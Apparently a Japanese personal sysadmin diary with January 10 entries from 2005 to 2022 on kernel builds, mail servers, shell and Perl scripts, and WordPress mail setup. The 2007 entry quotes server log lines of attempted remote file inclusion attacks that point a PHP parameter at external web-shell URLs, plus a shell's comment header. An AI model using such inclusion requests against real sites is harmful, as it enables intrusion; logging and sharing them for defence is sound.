トップ «前の日(01-09) 最新 次の日(01-11)» 追記

屑俺日記

僕の備忘録(PC、UN*X、ネットワーク関連が中心)なんです。
自分の書いたところは適当(な時とか)に書き換えますので御了承を。


2005-01-10(Mon) 半熟

2.6.10

AirHつっこんでもLEDが黙ったまんま。おっとっと、でシリアルポートを 有効にしてカーネルを再構築。 で、とりあえずpppが繋がることを確認。しかし無線LANはまだ。

シェルスクリプトでテストメール

を何度も繰り返す。LAN内の色々なマシン(の25)に向けて、時には斉射してみたり。 うまく宛先に届いたり、想定外な方向に転送されたり。 外部にも出してみたが、全部自分のアカウント(当然)がいともむなし。

mew

メールを送信する前に C-c C-m して i すればPOP before SMTPできるようだ。

める鯖と格闘

Postfix(に限らないが)、デフォルトで良いところは触っちゃいかん。 当り前すぎて嵌ってしまう。
FreeBSD(98)4.10にqpopperを入れた。例によってportsで入れたが、inetd.confは 行頭の#を外すだけでなく、s/popper/qpopper/gする必要があった。 でないと、telnet POPSERVER 110 する度に/var/log/messagesが↓になった。

Jan 10 12:50:50 POPS inetd[5534]: cannot execute /usr/local/libexec/popper:\
  No such file or directory

あれ、popauth入ってないのか?

眠い目でkill

をつつく。Ctrl + z の代りは、えーと、TSTP, TTIN, TTOU のどれでもいける みたい? fg の代りは CONT と。これが使えればカーネル再構築を別端末から 中断させて...とできる(誰かから悪戯される)かも。

$ kill -l
 1) SIGHUP       2) SIGINT       3) SIGQUIT      4) SIGILL
 5) SIGTRAP      6) SIGABRT      7) SIGBUS       8) SIGFPE
 9) SIGKILL     10) SIGUSR1     11) SIGSEGV     12) SIGUSR2
13) SIGPIPE     14) SIGALRM     15) SIGTERM     17) SIGCHLD
18) SIGCONT     19) SIGSTOP     20) SIGTSTP     21) SIGTTIN
22) SIGTTOU     23) SIGURG      24) SIGXCPU     25) SIGXFSZ
26) SIGVTALRM   27) SIGPROF     28) SIGWINCH    29) SIGIO
30) SIGPWR      31) SIGSYS      32) SIGRTMIN    33) SIGRTMIN+1
34) SIGRTMIN+2  35) SIGRTMIN+3  36) SIGRTMIN+4  37) SIGRTMIN+5
38) SIGRTMIN+6  39) SIGRTMIN+7  40) SIGRTMIN+8  41) SIGRTMIN+9
42) SIGRTMIN+10 43) SIGRTMIN+11 44) SIGRTMIN+12 45) SIGRTMIN+13
46) SIGRTMIN+14 47) SIGRTMIN+15 48) SIGRTMAX-15 49) SIGRTMAX-14
50) SIGRTMAX-13 51) SIGRTMAX-12 52) SIGRTMAX-11 53) SIGRTMAX-10
54) SIGRTMAX-9  55) SIGRTMAX-8  56) SIGRTMAX-7  57) SIGRTMAX-6
58) SIGRTMAX-5  59) SIGRTMAX-4  60) SIGRTMAX-3  61) SIGRTMAX-2
62) SIGRTMAX-1  63) SIGRTMAX    

$/usr/bin/nice -n 19 command しても、さほど軽くはならない気が。


2006-01-10(Tue) どす

確認

一応動いているようだ。


2007-01-10(Wed) あらまぁ

osx-sux.jpgも、cmd.txtも404だってば。

クラック未遂のログでも晒すか。

216.22.48.208 - - [10/Jan/2007:06:43:17 +0900] \
  "GET /~kuzu/diary//skin/zero_vote/error.php?\
  dir=http://ShellBR.by.ru/cmd.txt? HTTP/1.1" 404 235  
81.177.34.251 - - [10/Jan/2007:07:05:23 +0900] \  
  "GET /~kuzu/diary//skin/zero_vote/error.php?\
  dir=http://pennmountain.com/media/osx-sux.jpg? \
  HTTP/1.1" 404 235

他複数のIPから同じようなアタックがいくつか。
両者とも、PHPスクリプトだった。
osx-sux.jpgに面白い絵があった。ぜひとも引用せねばなるまい。
少なくとも、 ダウンロードするように仕向けている奴など知ったことか。

<?php
/*
/*                  #    #        #    #                             
/*                  #   #          #   #
/*                 #    #          #    #
/*                 #   ##   ####   ##   #
/*                ##   ##  ######  ##   ##
/*                ##   ##  ######  ##   ##
/*                ##   ##   ####   ##   ##
/*                ###   ############   ###
/*                ########################
/*                     ##############
/*              ######## ########## #######
/*             ###   ##  ##########  ##   ###
/*             ###   ##  ##########  ##   ###
/*              ###   #  ##########  #   ###
/*              ###   ##  ########  ##   ###
/*               ##    #   ######   #    ##
/*                ##   #    ####   #    ##
/*                  ##                 ##
(ry
/*  (c)oded by 1dt.w0lf
/*  RST/GHC http://rst.void.ru , http://ghc.ru
/*  ANY MODIFIED REPUBLISHING IS RESTRICTED
/****************************************************\
**************************************************/

WordPressのトラックバックスパムも増えてきた。今日は15件。


2008-01-10(Thu) どゃん

truncate of Perl

$ cat trancate.pl
#!/usr/bin/perl
 
open(FH, "+> new.txt");
open(FH, "+< new.txt");
 
truncate("new.txt", 1048576);

VirtualBox環境のDebian(lenny)で実行してみる。
ls -l でも du -b でも1MBの new.txt ができただけだった。
引数が(中途半端に)大きすぎると^c しても sudo kill -9 しても 止まらなくなった。

SCY-U2025SL

Plamo-4.2 with kernel-2.6.23 に繋いでみたが、usb-storage.ko を自動で ロードしてはくれなかった。
念のためWinXPにも突っ込んでみたが、しばらく見えず、 ディスクの管理でも見えずに首をひねっている間に認識されていた。

$ dmesg
(ry
usb 5-8: new high speed USB device using ehci_hcd \
and address 2
usb 5-8: configuration #1 chosen from 1 choice
 
$ sudo modprobe usb-storage
 
$ dmesg
usbcore: registered new interface driver libusual
usb_storage: Unknown symbol storage_usb_ids
usb_storage: Unknown symbol usb_usual_clear_present
usb_storage: Unknown symbol usb_usual_check_type
usb_storage: Unknown symbol usb_usual_set_present
Initializing USB Mass Storage driver...
scsi2 : SCSI emulation for USB Mass Storage devices
usb-storage: device found at 2
usb-storage: waiting for device to settle before scanning
usbcore: registered new interface driver usb-storage
USB Mass Storage support registered.
; 以下ディスク情報

2009-01-10(Sat) 曇ときどき晴

2.6.27.9

デスクトップのカーネルをあげた。久しぶりだ。
カーネルパニック、alsa忘れ、psmouse忘れ...
なんか make oldconfig しても過去設定が反映されなかったような気がするが 追究する気力が涌かないので、一応動いてるあたりでやめとく。

OpenSSL-0.9.8j

同様、BLFSに倣う。
w3mやopensshとかの正常動作を確認したら、順次上げてゆくとするか。


2010-01-10(Sun) はれ

パッケージチェック

FreeBSDのPortsが古くなったかどうか確認するスクリプトを 作って運用していた はずだけど、リプレースを繰り返す間に消えていた。
こんどはこっちに貼っとくか。今のところリポジトリ立てる気もしないし。

#!/bin/sh
 
csup ports-supfile
cd /usr/ports
make fetchindex 
cd ..
 
cut -f 1 -d "|" /usr/ports/INDEX-6 > pkg.txt
pkg_info | cut -f 1 -d " " > ins.txt
 
for pak in `cat ins.txt`
do  
  if [ !  `grep "^$pak" pkg.txt` ]; then 
    echo $pak 
  fi
done

/etc/crontab にも入れて、一月に一度メールするようにしておいた。


2013-01-10(Thu) 依然として冷たく晴れていた、はず

なんとか、なにかが

"Good-bye, World\n"みたいだけど、

(define allsum
  (lambda (n lnt)
    (cond
     ((null? lnt) n)
     (else (allsum (+ n (car lnt))
                  (cdr lnt))))))
gosh>(allsum  1 '(2 3 4 5 6 7 8 9 10))
55

閉じ括弧の位置をいくつか間違えていて、 想定通りに動くようになるまでしばらくかかった。


2015-01-10(Sat) 留守中に10時間

RasPIのLFS続く

GCCの一発目はさんざん躓いたが、 その後はだいたい順調に続いた。
やはり一つのパッケージに数十分。
Chapter5.7のGlibc-2.20はmakeに244分29秒(4時間強)、 make install に15分45秒かかっていた。
Chapter5.10 のGCC Pass2 はmakeに588分54秒、 ほぼ10時間かかった(installは5分ほど)。


2018-01-10(Wed) 青空の傘は、夕方に役に立つか

13年とちょっと前のスクリプトを、ちょっと改造して

localhostからのSMTP専用。
日本語対応。ただしまだFrom: とTo: がうまくいってない。
受信はSylpheedとThunderbirdで確認。

#!/bin/sh
( sleep 2;
echo "helo hogehoge"
echo "mail from: $MY_ADDR"
echo "rcpt to: $SENDER"
echo "data"
echo "Content-Type: text/plain; charset=ISO-2022-JP"
echo -n "Subject: "
echo "`echo 日本語が通るかどうか、テストに書いてみたメール| nkf -j -M`"
echo "From: <$ADDR1@Domain.TLD>"
echo "To: <$ADDR2@Domain.TLD>"
echo ""
echo "さて日本語は使えるか"|nkf -j
echo "."
echo "quit") | telnet localhost 25

なんとかFrom: とTo: も

日本語対応した。ついでに適当なデータも流すようにしてみる。
残るは添付ファイルか...

#!/bin/sh
( sleep 2;
echo "helo $MYDOMAIN"
echo "mail from: $MY_ADDR"
echo "rcpt to: $SENDER"
echo "data"
echo "Content-Type: text/plain; charset=ISO-2022-JP"
echo -n "Subject: "
echo "`echo 日本語のメール| nkf -j -M`"
echo -n "From: "
echo -n "`echo おれ|nkf -j -M`"
echo "<$MY_ADDR>"
echo -n "To: "
echo -n "`echo 別口の、おれ|nkf -j -M`"
echo "<$SENDER>"
echo ""
echo "長い日本語を足してみた"|nkf -j
cat botchan.txt | nkf -j
echo "."
echo "quit") | telnet localhost 25

2021-01-10(Sun) 吹き込む風の温度は5℃くらい

unzipしながらiostat

unzip

買ってきたMicroSDに2020-12-02-raspios-buster-armhf-lite.zip をインストールする。一旦展開して、それをddするのも面倒なので、 unzipのmanから標準出力するオプション確認。

$ time sudo sh -c "unzip -p RASPI_IMAGE.zip > /dev/sdb"
 
real    2m24.866s
user    0m22.215s
sys     0m4.105s

例によってiostat -y -x 1 を記録して Rで処理する。甚だ残念なことに、sarは撮り忘れてしまった。
ちょっと面白い曲線になったようだ。%utilが100%を 大きく越えて記録されたのはなんでかしら。


2022-01-10(Mon) てけとうにはれ

WordPressのメール

大体 Debian Wikiを頼りに、 VPS上にWordPressを構築してみた。
v4、v6とも通す。fwpで特定IP以外の接続は蹴るように設定し、 certbotでhttpsも有効にしておいた。

新規ユーザを作り、メールでその旨を送信させてみる。
何も届かず、/var/log/apache2/error.logに、

sh: 1: /usr/sbin/sendmail: not found
sh: 1: /usr/sbin/sendmail: not found
sh: 1: /usr/sbin/sendmail: not found

ローカルホストにメールサーバが走ってる前提のようだった。 とりあえず、Postfixをぶちこんでみた。
以下、届いたメール。

To: $USER_MAIL_ADDR
Subject: [$MY_WORDPRESS_SITE] パスワードのリセット
Date: Mon, 10 Jan 2022 01:13:25 +0000
From: WordPress 
 
Someone has requested a password reset for the following account:
 
Site Name: $MY_WORDPRESS_SITE
 
ユーザー名: $USER
 
If this was a mistake, ignore this email and nothing will happen.
 
パスワードをリセットするには、以下へアクセスしてください。
 
https://$MY_WORDPRESS_SITE/wp-login.php?action=rp&key=HOGEHOGEHOGE&login=$USER

メールヘッダ適当に。

Return-Path: 
X-Original-To: $USER_MAIL_ADDR
Delivered-To: $USER_MAIL_ADDR
Received: from localhost ($VPS_HOSTNAME [IPv6:$ADDR])
	by $MY_MAIL_SERVER (Postfix) with ESMTPS id 79CF040043
	for <$USER_MAIL_ADDR>; Mon, 10 Jan 2022 10:14:09 +0900 (JST)
Received: by localhost (Postfix, from userid 33)
	id AAE661000A3; Mon, 10 Jan 2022 10:13:25 +0900 (JST)
X-Mailer: PHPMailer 6.5.0 (https://github.com/PHPMailer/PHPMailer)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

これじゃ多くのメールサーバに受け取ってもらえないだろうな。
hostnameをPostfixのmain.cfに入れたりし、SPFも追加したが、 それでもGmailに跳ねられた。

Jan 10 10:59:33 localhost postfix/smtp[19635]: 53910102812:
 to=<$USER@gmail.com>, relay=gmail-smtp-in.l.google.com[74.125.23.27]:25,
 delay=2.1, delays=0.01/0/1/1, dsn=5.7.1, status=bounced (host
 gmail-smtp-in.l.google.com[74.125.23.27] said: 550-5.7.1
 [$IPv4      12] Our system has detected that this message
 is 550-5.7.1 likely unsolicited mail. To reduce the amount of spam
 sent to Gmail, 550-5.7.1 this message has been blocked.
 Please visit 550-5.7.1
 https://support.google.com/mail/?p=UnsolicitedMessageError
 550 5.7.1  for more information.
 d14si5202918pgi.540 - gsmtp (in reply to end of DATA command))

名前をMXに合わせた環境(canonical_maps追加)でs-nailにてテストメールを 送信したら、こちらは迷惑メール扱いにもならず受け入れられた。

プラグインのメールはローカルホストよりgmailでも使っているかもしれない。


リンクはご自由にどうぞ。でもURLや内容が変った場合はあしからず。

index.htmlは ここから。